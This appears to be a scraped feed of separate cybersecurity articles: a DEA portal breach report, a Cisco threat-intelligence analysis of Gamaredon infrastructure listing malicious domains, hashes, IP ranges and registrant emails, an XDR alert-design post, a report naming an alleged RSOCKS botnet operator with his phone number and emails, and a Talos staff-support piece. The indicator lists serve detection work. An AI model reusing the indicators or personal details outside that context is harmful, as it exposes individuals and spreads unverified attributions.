Efficiency of the Vulnerability Response With vFeed Intelligence

This paper is based on the report from Ponemon Institute “Costs and Consequences of Gaps

DEA Investigating Breach of Law Enforcement Data Portal

The U.S. Drug Enforcement Administration (DEA) says it is investigating reports that hackers gained unauthorized access to an agency portal that taps into 16 different federal law enforcement databases. KrebsOnSecurity has learned the alleged compromise is tied to a cybercrime and online harassment community that routinely impersonates police and government officials to harvest personal information on their targets.

On May 8, KrebsOnSecurity received a tip that hackers obtained a username and password for an authorized user of esp.usdoj.gov, which is the Law Enforcement Inquiry and Alerts (LEIA) system managed by the DEA.

KrebsOnSecurity shared information about the allegedly hijacked account with the DEA, the Federal Bureau of Investigation (FBI), and the Department of Justice, which houses both agencies. The DEA declined to comment on the validity of the claims, issuing only a brief statement in response.

“DEA takes cyber security and information of intrusions seriously and investigates all such reports to the fullest extent,” the agency said in a statement shared via email.

According to this page at the Justice Department website, LEIA “provides federated search capabilities for both EPIC and external database repositories,” including data classified as “law enforcement sensitive” and “mission sensitive” to the DEA.

A document published by the Obama administration in May 2016 (PDF) says the DEA’s El Paso Intelligence Center (EPIC) systems in Texas are available for use by federal, state, local and tribal law enforcement, as well as the Department of Defense and intelligence community.

EPIC and LEIA also have access to the DEA’s National Seizure System (NSS), which the DEA uses to identify property thought to have been purchased with the proceeds of criminal activity (think fancy cars, boats and homes seized from drug kingpins).

“The EPIC System Portal (ESP) enables vetted users to remotely and securely share intelligence, access the National Seizure System, conduct data analytics, and obtain information in support of criminal investigations or law enforcement operations,” the 2016 White House document reads. “Law Enforcement Inquiry and Alerts (LEIA) allows for a federated search of 16 Federal law enforcement databases.”

The screenshots shared with this author indicate the hackers could use EPIC to look up a variety of records, including those for motor vehicles, boats, firearms, aircraft, and even drones.

Claims about the purloined DEA access were shared with this author by “KT,” the current administrator of the Doxbin — a highly toxic online community that provides a forum for digging up personal information on people and posting it publicly.

As KrebsOnSecurity reported earlier this year, the previous owner of the Doxbin has been identified as the leader of LAPSUS$, a data extortion group that hacked into some of the world’s largest tech companies this year — including Microsoft, NVIDIA, Okta, Samsung and T-Mobile.

That reporting also showed how the core members of LAPSUS$ were involved in selling a service offering fraudulent Emergency Data Requests (EDRs), wherein the hackers use compromised police and government email accounts to file warrantless data requests with social media firms, mobile telephony providers and other technology firms, attesting that the information being requested can’t wait for a warrant because it relates to an urgent matter of life and death.

From the standpoint of individuals involved in filing these phony EDRs, access to databases and user accounts within the Department of Justice would be a major coup. But the data in EPIC would probably be far more valuable to organized crime rings or drug cartels, said Nicholas Weaver, a researcher for the International Computer Science Institute at University of California, Berkeley.

Weaver said it’s clear from the screenshots shared by the hackers that they could use their access not only to view sensitive information, but also submit false records to law enforcement and intelligence agency databases.

“I don’t think these [people] realize what they got, how much money the cartels would pay for access to this,” Weaver said. “Especially because as a cartel you don’t search for yourself you search for your enemies, so that even if it’s discovered there is no loss to you of putting things ONTO the DEA’s radar.”

ANALYSIS

The login page for esp.usdoj.gov (above) suggests that authorized users can access the site using a “Personal Identity Verification” or PIV card, which is a fairly strong form of authentication used government-wide to control access to federal facilities and information systems at each user’s appropriate security level.

However, the EPIC portal also appears to accept just a username and password, which would seem to radically diminish the security value of requiring users to present (or prove possession of) an authorized PIV card. Indeed, KT said the hacker who obtained this illicit access was able to log in using the stolen credentials alone, and that at no time did the portal prompt for a second authentication factor.

It’s not clear why there are still sensitive government databases being protected by nothing more than a username and password, but I’m willing to bet big money that this DEA portal is not only offender here. The DEA portal esp.usdoj.gov is listed on Page 87 of a Justice Department “data inventory,” which catalogs all of the data repositories that correspond to DOJ agencies.

There are 3,330 results. Granted, only some of those results are login portals, but that’s just within the Department of Justice.

If we assume for the moment that state-sponsored foreign hacking groups can gain access to sensitive government intelligence in the same way as teenage hacker groups like LAPSUS$, then it is long past time for the U.S. federal government to perform a top-to-bottom review of authentication requirements tied to any government portals that traffic in sensitive or privileged information.

I’ll say it because it needs to be said: The United States government is in urgent need of leadership on cybersecurity at the executive branch level — preferably someone who has the authority and political will to eventually disconnect any federal government agency data portals that fail to enforce strong, multi-factor authentication.

I realize this may be far more complex than it sounds, particularly when it comes to authenticating law enforcement personnel who access these systems without the benefit of a PIV card or government-issued device (state and local authorities, for example). It’s not going to be as simple as just turning on multi-factor authentication for every user, thanks in part to a broad diversity of technologies being used across the law enforcement landscape.

But when hackers can plunder 16 law enforcement databases, arbitrarily send out law enforcement alerts for specific people or vehicles, or potentially disrupt ongoing law enforcement operations — all because someone stole, found or bought a username and password — it’s time for drastic measures.

Network Footprints of Gamaredon Group

Below research is reflecting our observations during month of March 2022. We also would like to thank Maria Jose Erquiaga for her contribution in introduction and support during the process of writing.

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Overview

As the Russian-Ukrainian war continues over conventional warfare, cybersecurity professionals witnessed their domain turning into a real frontier. Threat actors picking sides [1], group members turning against each other [2], some people handing out DDoS tools [3], some people blending in to turn it into profit [4], and many other stories, proving that this new frontier is changing daily, and its direct impact is not limited to geographical boundaries.

While attacks seem to be evolving daily, it is challenging for one to stay up to date with all that is going around. Therefore, we believe that it is important to distinguish between information and actionable intelligence. In Cisco Global Threat Alerts, we would like to share our observations related to this conflict during March of 2022 and discover how we can turn them into actionable intelligence together.

Threat Actors in the Russian-Ukrainian Conflict

Since the rapid escalation of the conflict in 2022, security researchers and analysts have been gathering information regarding the adversarial groups, malware, techniques, and types of attacks implemented [1, 5, 6]. Some of the groups and malware related to the conflict are described in Table 1:

Threat Actor	Malware	Location
Gamaredon [7]	Pteranodon [8]	Crimea
Sandworm [9]	CyclopsBlink [10]	Russia
WizardSpider [11]	Cobalt Strike [12], Emotet [13], Conti [14], Ryuk [15], Trickbot [16]	Russia

Table 1: Threat actors and their relations

Gamaredon

Gamaredon group, also known as Primitive Bear, Shuckworm and ACTINIUM, is an advanced persistent threat (APT) based in Russia. Their activities can be traced back as early as 2013, prior to Russia’s annexation of the Crimean Peninsula. They are known to target state institutions of Ukraine and western government entities located in Ukraine. Ukrainian officials attribute them to Russian Federal Security Service, also known as FSB [17].

Gamaredon often leverages malicious office files, distributed through spear phishing as the first stage of their attacks. They are known to use a PowerShell beacon called PowerPunch to download and execute malware for ensuing stages of attacks. Pterodo and QuietSieve are popular malware families that they deploy for stealing information and various actions on objective [18].

We were able to collect network IoC’s related to Gamaredon infrastructure. During our initial analysis, most of the indicators were not attributed directly to any specific malware and they were rather listed as part of Gamaredon’s infrastructure. Therefore, we wanted to analyze their infrastructure to understand their arsenal and deployment in greater detail.

Network Infrastructure

The first part of this research is focused on WHOIS record analysis. We observed that Gamaredon domains were dominantly registered by REG[.]RU. Creation dates are going back as early as February 2019 and have a changing pattern for the registrant email. Until August 2020, we observed that message-yandex.ru@mail[.]ru was the main registrant email. Later, it shifted to macrobit@inbox[.]ru, mixed with the occasional usage of message-yandex.ru@mail[.]ru and tank-bank15@yandex[.]ru. Domain creation dates in some of the WHOIS records are as recent as March 2022.

Other than WHOIS information, the domains we observed that were related to Gamaredon campaigns had a distinguishing naming convention. While dataset consisted of domain names (without TLDs) varying between 4 to 16 characters, 70% percent of them were between 7 to 10 characters. Combined with a limited group of top-level domains (TLDs) used (see Table 2), this leads us to a naming pattern for further attribution. Additionally, the usage of TLDs on domain creation seems to be rotating.

TLD	Distribution	TLD Usage
online	42.07%	08/2020-02/2021,02/2022
xyz	29.47%	06/2022-08/2022, 02/2022-03/2022
ru	14.22%	08/2020, 05/2021-02/2022
site	8.94%	07/2020-02/2021
space	2.64%	02/2019-06/2020

Table 2: TLD distribution and time in use

In the case of domain resolutions, we aimed to analyze the distribution of autonomous system numbers (ASN) used by resolved IP addresses (see Table 3). Once more, the owner REG[.]RU is leading the list, owning most of the domains. TimeWeb was the second this time, with 28% of the domains we found to be related to Gamaredon activities. Domains having ‘. online’ and ‘.ru’ TLDs are regularly updating their IP resolutions, almost daily.

Owner	ASN	Popular Networks	Distribution
REG.RU, Ltd	AS197695	194.67.71.0/24 194.67.112.0/24 194.58.100.0/24 194.58.112.0/24 194.58.92.0/24 89.108.81.0/24	45.93%
TimeWeb Ltd.	AS9123	185.104.114.0/24 188.225.77.0/24 188.225.82.0/24 94.228.120.0/24 94.228.123.0/24	28.25%
EuroByte LLC	AS210079	95.183.12.42/32	10.56%
AS-CHOOPA	AS20473	139.180.196.149/32	5.08%
LLC Baxet	AS51659	45.135.134.139/32 91.229.91.124/32	2.23%
System Service Ltd.	AS50448	109.95.211.0/24	1.82%

Table 3: Distribution of IP addresses per ASN and owner

Tooling

After understanding the infrastructure, let’s proceed with their arsenal. We looked at associated file samples for the domains through Umbrella and Virustotal. A sample of the results can be seen below. Referring to a file type, we can see that the Gamaredon group prefers malicious office documents with macros. Also, they are known to use Pterodo, which is a constantly evolving custom backdoor [8, 18].

Domain	Hash	Type	Malware
acetica[.]online	4c12713ef851e277a66d985f666ac68e73ae21a82d8dcfcedf781c935d640f52	Office Open XML Document	Groooboor
arvensis[.]xyz	03220baa1eb0ad80808a682543ba1da0ec5d56bf48391a268ba55ff3ba848d2f	Office Open XML Document	Groooboor
email-smtp[.]online	404ed6164154e8fb7fdd654050305cf02835d169c75213c5333254119fc51a83	Office Open XML Document	Groooboor
gurmou[.]site	f9a1d7e896498074f7f3321f1599bd12bdf39222746b756406de4e499afbc86b	Office Open XML Document	Groooboor
mail-check[.]ru	41b7a58d0d663afcdb45ed2706b5b39e1c772efd9314f6c1d1ac015468ea82f4	Office Open XML Document	Groooboor
office360-expert[.]online	611e4b4e3fd15a1694a77555d858fced1b66ff106323eed58b11af2ae663a608	Office Open XML Document	Groooboor
achilleas[.]xyz	f021b79168daef8a6359b0b14c0002316e9a98dc79f0bf27e59c48032ef21c3d	Office Open XML Document	Macro enabled Word Trojan
anisoptera[.]online	8c6a3df1398677c85a6e11982d99a31013486a9c56452b29fc4e3fc8927030ad	MS Word Document	Macro enabled Word Trojan
erythrocephala[.]online	4acfb73e121a49c20423a6d72c75614b438ec53ca6f84173a6a27d52f0466573	Office Open XML Document	Macro enabled Word Trojan
hamadryas[.]online	9b6d89ad4e35ffca32c4f44b75c9cc5dd080fd4ce00a117999c9ad8e231d4418	Office Open XML Document	Macro enabled Word Trojan
intumescere[.]online	436d2e6da753648cbf7b6b13f0dc855adf51c014e6a778ce1901f2e69bd16360	MS Word Document	Macro enabled Word Trojan
limosa[.]online	0b525e66587e564db10bb814495aefb5884d74745297f33503d32b1fec78343f	MS Word Document	Macro enabled Word Trojan
mesant[.]online	936b70e0babe7708eda22055db6021aed965083d5bc18aad36bedca993d1442a	MS Word Document	Macro enabled Word Trojan
sufflari[.]online	13b780800c94410b3d68060030b5ff62e9a320a71c02963603ae65abbf150d36	MS Word Document	Macro enabled Word Trojan
apusa[.]xyz	23d417cd0d3dc0517adb49b10ef11d53e173ae7b427dbb6a7ddf45180056c029	Win32 DLL	Pterodo
atlanticos[.]site	f5023effc40e6fbb5415bc0bb0aa572a9cf4020dd59b2003a1ad03d356179aa1	VBA	Pterodo
barbatus[.]online	250bd134a910605b1c4daf212e19b5e1a50eb761a566fffed774b6138e463bbc	VBA	Pterodo
bitsadmin2[.]space	cfa58e51ad5ce505480bfc3009fc4f16b900de7b5c78fdd2c6d6c420e0096f6b	Win32 EXE	Pterodo
bitsadmin3[.]space	9c8def2c9d2478be94fba8f77abd3b361d01b9a37cb866a994e76abeb0bf971f	Win32 EXE	Pterodo
bonitol[.]online	3cbe7d544ef4c8ff8e5c1e101dbdf5316d0cfbe32658d8b9209f922309162bcf	VBA	Pterodo
buhse[.]xyz	aa566eed1cbb86dab04e170f71213a885832a58737fcab76be63e55f9c60b492	Office Open XML Document	Pterodo
calendas[.]ru	17b278045a8814170e06d7532e17b831bede8d968ee1a562ca2e9e9b9634c286	Win32 EXE	Pterodo
coagula[.]online	c3eb8cf3171aa004ea374db410a810e67b3b1e78382d9090ef9426afde276d0f	MS Word Document	Pterodo
corolain[.]ru	418aacdb3bbe391a1bcb34050081bd456c3f027892f1a944db4c4a74475d0f82	Win32 EXE	Pterodo
gorigan[.]ru	1c7804155248e2596ec9de97e5cddcddbafbb5c6d066d972bad051f81bbde5c4	Win32 EXE	Pterodo
gorimana[.]site	90cb5319d7b5bb899b1aa684172942f749755bb998de3a63b2bccb51449d1273	MS Word Document	Pterodo
krashand[.]ru	11d6a641f8eeb76ae734951383b39592bc1ad3c543486dcef772c14a260a840a	Win32 EXE	Pterodo
libellus[.]ru	4943ca6ffef366386b5bdc39ea28ad0f60180a54241cf1bee97637e5e552c9a3	Win32 EXE	Pterodo
melitaeas[.]online	55ad79508f6ccd5015f569ce8c8fcad6f10b1aed930be08ba6c36b2ef1a9fac6	Office Open XML Document	Pterodo
mullus[.]online	31afda4abdc26d379b848d214c8cbd0b7dc4d62a062723511a98953bebe8cbfc	Win32 EXE	Pterodo
upload-dt[.]hopto[.]org	4e72fbc5a8c9be5f3ebe56fed9f613cfa5885958c659a2370f0f908703b0fab7	MS Word Document	Pterodo

Table 4: Domains, files (hash and type), and malware name associated to the Gamaredon group

After reviewing the behaviors of the associated malicious samples, it is easier to build attribution between the malicious domain and the corresponding sample. IP addresses resolved by the domain are later used to establish raw IP command and control (C2) communication with a distinguishing URL pattern. The following example shows how 1c7804155248e2596ec9de97e5cddcddbafbb5c6d066d972bad051f81bbde5c4 resolves gorigan[.]ru and uses its IP address to build a C2 URL (http|https<IP>/<random alphanumerical string>). Therefore, DNS and outgoing web traffic is crucial for its detection.

Detecting Gamaredon Activity with Global Threat Alerts 

In Cisco Global Threat Alerts, we are tracking the Gamaredon group under the Gamaredon Activity threat object. The threat description is enriched with MITRE references (see Figure 3).

Figure 4 shows a detection sample of Gamaredon activity. Observe that the infected device attempted to communicate with the domains alacritas[.]ru, goloser[.]ru, and libellus[.]ru, which seemed to be sinkholed to the OpenDNS IP address of 146.112.61.[.]107.

Conclusion

We’ve walked through the steps of producing intelligence from information we’ve collected. We began our analysis with an unattributed list of network IoC’s and were able to identify unique patterns in their metadata. Then, we pivoted to endpoint IoC’s and attributed domains to malware families. Next, we showed how we turned it into a detection of the Gamaredon group displayed in the Cisco Global Threat Alerts portal.

For your convenience, here’s a summary of the intelligence we developed in this blog post:

Aliases	Primitive Bear, Shuckworm, ACTINIUM
Type	Threat Actor
Originating From	Russia
Targets	Ukranian State Organizations
Malware used	Pterodo, Groooboor
File Type	Macro enabled office files, Win32 Exe, VBA
TLD’s used	.online, .xyz, .ru, .site, .space
ASN’s used	REG.RU, Ltd, TimeWeb Ltd., EuroByte LLC, AS-CHOOPA, LLC Baxet, System Service Ltd.

 

References

[1] Cyber Group Tracker: https://cyberknow.medium.com/update-10-2022-russia-ukraine-war-cyber-group-tracker-march-20-d667afd5afff

[2] Conti ransomware’s internal chats leaked after siding with Russia: https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/

[3] Hackers sound call to arms with digital weapon aimed at Russian websites: https://cybernews.com/news/hackers-sound-call-to-arms-with-digital-weapon-aimed-at-russian-websites/

[4] Threat advisory: Cybercriminals compromise users with malware disguised as pro-Ukraine cyber tools: https://blog.talosintelligence.com/2022/03/threat-advisory-cybercriminals.html

[5] Ukraine-Cyber-Operations: https://github.com/curated-intel/Ukraine-Cyber-Operations

[6] What You Need to Know About Russian Cyber Escalation in Ukraine: https://socradar.io/what-you-need-to-know-about-russian-cyber-escalation-in-ukraine/

[7] Gamaredon: https://attack.mitre.org/groups/G0047/

[8] Pteranodon: https://attack.mitre.org/software/S0147/

[9] Sandworm: https://attack.mitre.org/groups/G0034/

[10] Threat Advisory: Cyclops Blink: https://blog.talosintelligence.com/2022/02/threat-advisory-cyclops-blink.html

[11] Wizard Spider: https://attack.mitre.org/groups/G0102/

[12] Cobalt Strike: https://attack.mitre.org/software/S0154

[13] Emotet: https://attack.mitre.org/software/S0367

[14] Conti: https://attack.mitre.org/software/S0575

[15] Ryuk: https://attack.mitre.org/software/S0446

[16] TrickBot: https://attack.mitre.org/software/S0446

[17] Technical Report Gamaredon/Armageddon group: https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf

[18] ACTINIUM targets Ukrainian organizations: https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/

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A compelling story

This article is part of a series in which we will explore several features, principles, and the building blocks of a security detection engine within an extended detection and response (XDR) solution.

In this second installment, we will look at ways of structuring the presentation of machine-generated alerts, so that each alert offers a cohesive and compelling narrative, as if written by a human analyst, at scale and in realtime.

The challenge

In cyber security, we are used to two types of stories.

The first story is common for reports written by humans. It contains sections such as “impact,” “reproduction,” and “remediation” to help us understand what is at stake and what we need to fix. For example:

IMPACT: An SSH server which supports password authentication is susceptible to brute-forcing attacks.

REPRODUCTION: Use the `ssh` command in verbose mode (`ssh -v`) to determine supported authentication methods. Look for “keyboard-interactive” and “password” methods.

REMEDIATION: Disable unneeded authentication methods.

The second story comes from machine detections. It is much terser in content and sometimes leaves us scratching our heads. “Malware,” the machine says with little explanation, followed by a horde of gibberish-looking data of network flows, executable traces, and so on.

 

The challenge is now to get the best of both worlds: to enhance machine-generated alerts with the richness of human-written reports. The following sections explain how this can be approached.

How was it detected?

In our example of a report written by a human, the “reproduction” section would help us understand, from a factual perspective, how exactly the conclusions were derived.

On the other hand, the machine-generated horde of data provides evidence in a very nondescript way. We would need to be smart enough to spot or reverse-engineer what algorithm the machine was following on said data. Most security analysts do not wish to do this. Instead, they attempt to seek the first story type. “Surely, someone must have written a blog or something more descriptive about this already,” they would say. Then, they would copy-paste anything that looks like a searchable term – an IP address, domain, SHA checksum – and start searching it, either on a threat intelligence search site or even a general-purpose search engine.

Having such cryptic machine-generated alerts is leading us to our first two issues: first, when the story is incomplete or misunderstood, it may lead the analyst astray. For example, the security event might involve requests to communicate with an IP address, and the analyst would say, “This IP address belongs to my DNS server, so the traffic is legitimate.” However, the detection engine was really saying, “I suspect there is DNS tunnelling activity happening through your DNS server—just look at the volume.”

Second, when an analyst seeks explanations from elsewhere, the main function of an advanced detection engine — finding novel, localized, and targeted attacks — cannot work. Information on attacks is generally available only after they have been discovered and analyzed, not when they happen initially.

A common approach to remedy this situation is to include a short description of the algorithm. “This detector works by maintaining a baseline of when during the day a user is active and then reports any deviations,” a help dialog would say. “Okay, that’s clever,” an analyst would reply. But this is not enough. “Wait, what is the baseline, and how was it violated in this particular security event?” To find the answer, we need to go back to the horde of data.

Annotated security events

To mimic the “reproduction” section of the human-written report, our security events are enriched with an annotation—a short summary of the behavior described by the event. Here are a few examples of such annotated events:

 

In the first and second cases, the story is relatively straightforward: in the horde of data, successful communication with said hostnames was observed. An inference through threat intelligence associates these hostnames to the Sality malware.

The third line informs us that, on a factual basis, only a communication with an IP address was observed. Further chain of inferences is that this IP address was associated by a passive DNS mechanism to a hostname which is in turn associated to the Sality malware.

In the fourth event, we have an observation of full HTTP URL requests, and inference through a pattern matcher associates this URL to the Sality malware. In this case, neither the hostname nor the IP address is important to the detector.

In all these annotated events, an analyst can easily grasp the factual circumstances and what the detection engine infers and thinks about the observations. Note that whether these events describe benign, malicious, relevant, or irrelevant behavior, or whether they lead to true or false positives, is not necessarily the concern. The concern is to be specific about the circumstances of the observed behavior and to be transparent about the inferences.

What was detected?

When we eventually succeed in explaining the security events, we might not be finished with the storytelling yet. The analyst would face another dilemma. They would ask: “What relevance does this event have in my environment? Is it part of an attack, an attack technique perhaps? What should I look for next?”

In the human-written report, the “impact” section provides a translation between the fact-based technical language of “how” and the business language of “what.” In this business language, we talk about threats, risks, attacker objectives, their progress, and so on.

This translation is an important part of the story. In our previous example about DNS tunnelling, we might want to express that “an anomaly in DNS traffic is a sign of an attacker communicating with their command-and-control infrastructure,” or that “it is a sign of exfiltration,” or perhaps both. The connotation is that both techniques are post-infection, and that there is probably already a foothold that the attacker has established. Perhaps other security events point to this, or perhaps it needs to be sought after by the analyst.

When it is not explicit, the analyst needs to mentally perform the translation. Again, an analyst might look up some intelligence in external sources and incorrectly interpret the detection engine’s message. Instead, they might conclude that “an anomaly in DNS traffic is a policy violation, user error, or reconnaissance activity,” leading them astray from pivoting and searching for the endpoint foothold that performs the command-and-control activity.

What versus How

We take special attention not to mix these two different dictionaries. Rather, we express separately the factual observations versus the conclusions in the form of threats and risks. Inbetween, there are the various chains of inferences. Based on the complexity, the depth of the story varies, but the beginning and the end will always be there: facts versus conclusions.

This is very similar to how an analyst would set up their investigation board to organize what they know about the case. Here is an elaborate example:

 

In this case, from top to bottom:

• Use of a domain generation algorithms (DGA) technique was inferred by observing communication to hostnames with random names.
• Malicious advertising (malvertising) was inferred by observing communication with hostnames and by observing communication with IP addresses that have passive DNS associations with (the same) hostnames.
• Presence of an ad injector was inferred by observing communication to specific URLs and inferred by a pattern matcher, as well as communication to specific hostnames.

In all points, the “what” and “how” languages are distinguished from each other. Finally, the whole story is stitched together into one alert by using the alert fusion algorithm described in the Intelligent alert management blog post.

Wrap-up

Have we bridged the storytelling gap between machine-generated and human-generated reports?

Threat detections need to be narrated in sufficient detail, so that our users can understand them. Previously, we relied on the human aspect—we would need to document, provide support, and even reverse-engineer what the detection algorithms said.

The two solutions, distinguishing the “what/how” languages and the annotated events, provide the bandwidth to transmit the details and the expert knowledge directly from the detection algorithms. Our stories are now rich with detail and are built automatically in real time.

The result allows for quick orientation in complex detections and lowers the time to triage. It also helps to correctly convey the message, from our team, through the detection engine, and towards the analyst, lowering the possibility of misinterpretation.

This capability is part of Cisco Global Threat Alerts, currently available within Cisco Secure Network Analytics and Cisco Secure Endpoint, and has been continually improved based on customer feedback. In the future, it will also be available in Cisco SecureX XDR.

Follow the series on Security detection with XDR

 

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Meet the Administrators of the RSOCKS Proxy Botnet

Authorities in the United States, Germany, the Netherlands and the U.K. last week said they dismantled the “RSOCKS” botnet, a collection of millions of hacked devices that were sold as “proxies” to cybercriminals looking for ways to route their malicious traffic through someone else’s computer. While the coordinated action did not name the Russian hackers allegedly behind RSOCKS, KrebsOnSecurity has identified its owner as a 35-year-old Russian man living abroad who also runs the world’s top spam forum.

According to a statement by the U.S. Department of Justice, RSOCKS offered clients access to IP addresses assigned to devices that had been hacked:

“A cybercriminal who wanted to utilize the RSOCKS platform could use a web browser to navigate to a web-based ‘storefront’ (i.e., a public web site that allows users to purchase access to the botnet), which allowed the customer to pay to rent access to a pool of proxies for a specified daily, weekly, or monthly time period. The cost for access to a pool of RSOCKS proxies ranged from $30 per day for access to 2,000 proxies to $200 per day for access to 90,000 proxies.”

The DOJ’s statement doesn’t mention that RSOCKS has been in operation since 2014, when access to the web store for the botnet was first advertised on multiple Russian-language cybercrime forums.

The user “RSOCKS” on the Russian crime forum Verified changed his name to RSOCKS from a previous handle: “Stanx,” whose very first sales thread on Verified in 2016 quickly ran afoul of the forum’s rules and prompted a public chastisement by the forum’s administrator.

Verified was hacked twice in the past few years, and each time the private messages of all users on the forum were leaked. Those messages show that after being warned of his forum infraction, Stanx sent a private message to the Verified administrator detailing his cybercriminal bona fides.

“I am the owner of the RUSdot forum (former Spamdot),” Stanx wrote in Sept. 2016. “In spam topics, people know me as a reliable person.”

RUSdot is the successor forum to Spamdot, a far more secretive and restricted forum where most of the world’s top spammers, virus writers and cybercriminals collaborated for years before the community’s implosion in 2010. Even today, the RUSdot Mailer is advertised for sale at the top of the RUSdot community forum.

Stanx said he was a longtime member of several major forums, including the Russian hacker forum Antichat (since 2005), and the Russian crime forum Exploit (since April 2013). In an early post to Antichat in January 2005, Stanx disclosed that he is from Omsk, a large city in the Siberian region of Russia.

According to the cyber intelligence firm Intel 471, the user Stanx indeed registered on Exploit in 2013, using the email address stanx@rusdot.com, and the ICQ number 399611. A search in Google for that ICQ number turns up a cached version of a Vkontakte profile for a Denis “Neo” Kloster, from Omsk, Russia.

Cybersecurity firm Constella Intelligence shows that in 2017, someone using the email address istanx@gmail.com registered at the Russian freelancer job site fl.ru with the profile name of “Denis Kloster” and the Omsk phone number of 79136334444. Another record indexed by Constella suggests Denis’s real surname may in fact be “Emilyantsev” [Емельянцев].

That phone number is tied to the WHOIS registration records for multiple domain names over the years, including proxy[.]info, allproxy[.]info, kloster.pro and deniskloster.com.

The “about me” section of DenisKloster.com says the 35-year-old was born in Omsk, that he got his first computer at age 12, and graduated from high school at 16. Kloster says he’s worked in many large companies in Omsk as a system administrator, web developer and photographer.

According to Kloster’s blog, his first real job was running an “online advertising” firm he founded called Internet Advertising Omsk (“riOmsk“), and that he even lived in New York City for a while.

“Something new was required and I decided to leave Omsk and try to live in the States,” Kloster wrote in 2013. “I opened an American visa for myself, it was not difficult to get. And so I moved to live in New York, the largest city in the world, in a country where all wishes come true. But even this was not enough for me, and since then I began to travel the world.”

The current version of the About Me page on Kloster’s site says he closed his advertising business in 2013 to travel the world and focus on his new company: One that provides security and anonymity services to customers around the world. Kloster’s vanity website and LinkedIn page both list him as CEO of a company called “SL MobPartners.”

In 2016, Deniskloster.com featured a post celebrating three years in operation. The anniversary post said Kloster’s anonymity business had grown to nearly two dozen employees, most of whom were included in a group photo posted to that article (and some of whom Kloster thanked by their first names and last initials).

“Thanks to you, we are now developing in the field of information security and anonymity!,” the post enthuses. “We make products that are used by thousands of people around the world, and this is very cool! And this is just the beginning!!! We don’t just work together and we’re not just friends, we’re Family.”

Mr. Kloster did not respond to repeated requests for comment.

It’s not clear if the coordinated takedown targeting the RSOCKS botnet will be permanent, as the botnet’s owners could simply rebuild — and possibly rebrand — their crime machine. Based on the RSOCKS owner’s posts, that is exactly what they intend to do.

“RSocks ceases to exist,” wrote the Rsocks account on the BlackHatWorld forum on June 17. “But don’t worry. All the active plans and fund balances will be transferred to another service. Stay tuned. We will inform you about its name and all the details later.”

Malware-based proxy services like RSOCKS have struggled to remain competitive in a cybercrime market with increasingly sophisticated proxy services that offer many additional features. The demise of RSOCKS follows closely on the heels of VIP72[.]com, a competing proxy botnet service that operated for a decade before its owners pulled the plug on the service last year.

Cisco Talos Supports Ukraine Through Empathy

Cisco Talos has a long-standing relationship with Ukraine, so when Russia invaded the country earlier this year, things hit close to home. Cisco Talos leaders rallied together to provide cybersecurity threat hunting to vital infrastructure, humanitarian support and goods and services to employees and their families in the region.

Ashlee Benge, Amy Henderson and Sammi Seaman spearheaded initiatives to support and sustain Ukrainian employees and threat hunters working around-the-clock to prevent cyberattacks and remember the human element. Even in the midst of crisis, they’ve facilitated open communication, emphasized mental health and cultivated connection.

Cisco Talos’ Relationship With Ukraine

Given Ukraine’s unique position on the front lines of cyberwarfare, Cisco Talos has had a very close partnership with Ukraine. The threat intelligence team has worked with several partners in the country from a cyber threat perspective. That long standing connection is part of why Russia’s invasion of Ukraine has been felt so deeply. “Some Ukrainian team members evacuated before the invasion, others did not,” said Amy Henderson, head of strategic planning & communications. “Our teams of threat hunters have been around-the-clock hunting in the data since the invasion. They’re stopping attacks from happening.”

Cisco Talos set up Cisco Secure Endpoint on about thirty partners’ organizations and extended the offering to critical infrastructure organizations in Ukraine such as hospitals, directly monitoring Cisco Secure Endpoint, “because their people are busy doing other things right now. They can’t sit at a screen,” Henderson said.

Leading With Empathy and Open Communication

Lead of Strategic Business Intelligence Ashlee Benge directs the Ukraine Threat Hunting Task Unit which requires empathy, compassion and an awareness of the needs of forty-five threat hunters. Veteran threat hunters with decades of experience have volunteered to contribute to the team while other members of Cisco Talos have also volunteered their skill sets to the work. Benge values the distinct contributions of her team members and describes them as, “quite brilliant and very good at their jobs. Talos does a really good job of hiring good people, and so the worst thing that I could do is get in their way.” Getting in their way looks different for different team members which is why Benge has established trainings and consistent ways to evaluate that the needs of her team are being met.

The nature of such a demanding, on-going situation coupled with the team’s dedication can lead employees to work themselves into the ground. To combat this, leaders maintain weekly check-ins that include asking employees how they’re taking care of themselves and checking for signs of burnout. “When you have rest you’re at peak performance and can problem solve. But when you start burning out and get to be irritable and snappy, you’re not able to problem solve. Just step back. You’ll be in a much better head space,” Henderson advises.

Stepping back has meant rotating projects to level out activity levels and urgency. Leaders have also stepped in to ensure employees take time off and that when they’re away, they’re fully away. “When you’re in such a high intensity environment it takes two to three days just to come off of that. If you’re only taking a day here or day there, you’re not even scratching the surface of coming down. So I’ll suggest maybe you need to take a week and completely recharge,” Henderson says.

Supporting The Human Element

Team Lead of Employee Experience Sammi Seaman was heartened by Cisco’s support of Ukrainian employees including helping employees and their families out of cities and into new housing. The humanitarian focus led Seaman to ask “How else can we help? Our colleagues have had to leave their homes and they’re still trying to do work. How do I get them necessities like medicine and shampoo?”

Seaman’s empathy and collaboration within her team and with Cisco Talos leadership led to determining the highest needs including more stable internet and navigating the transport of goods directly to employees and their families through freight mail. Seaman worked with her team to ensure necessary items like medical kits could get directly to people who needed them as quickly as possible. There are also pages available coordinating housing, transportation and other forms of support.

“It’s been interesting to think about people needing medicine for various reasons and that I’m also buying Legos and castles so that the children who have been displaced have toys and things that bring them joy and allow them to be kids in this situation,” Seaman said.

As Seaman prepared more boxes to ship, an employee shared a photograph of his daughter with some of the things Seaman had sent. “I just started crying. It was such a relief.” A relief she wanted to share, leaving the boxes for a moment to connect with other team members around the positive impact of their hard work.

“Despite all of these things that are happening around us that are horrific and awful and things that shouldn’t be happening, there are still things that we can celebrate. We’re still humans who have feelings, relationships, milestones and holidays.” – Sammi Seaman

Remembering children also became important during spring holidays. Through asking employees if they celebrated Easter and if they’d like Easter baskets, she learned that many employees celebrated traditional Orthodox Ukrainian Easter and would appreciate the baskets.

Seaman’s colleague researched what people in Ukraine typically put in their Easter baskets and together they made the baskets, boxed them up and shipped them. “The baskets weren’t a necessity but were nice to remind people that despite all of these things that are happening around us that are horrific and awful and things that shouldn’t be happening, there are still things that we can celebrate. We’re still humans who have feelings, relationships, milestones and holidays.”

Mental Health and Self-Care Matter

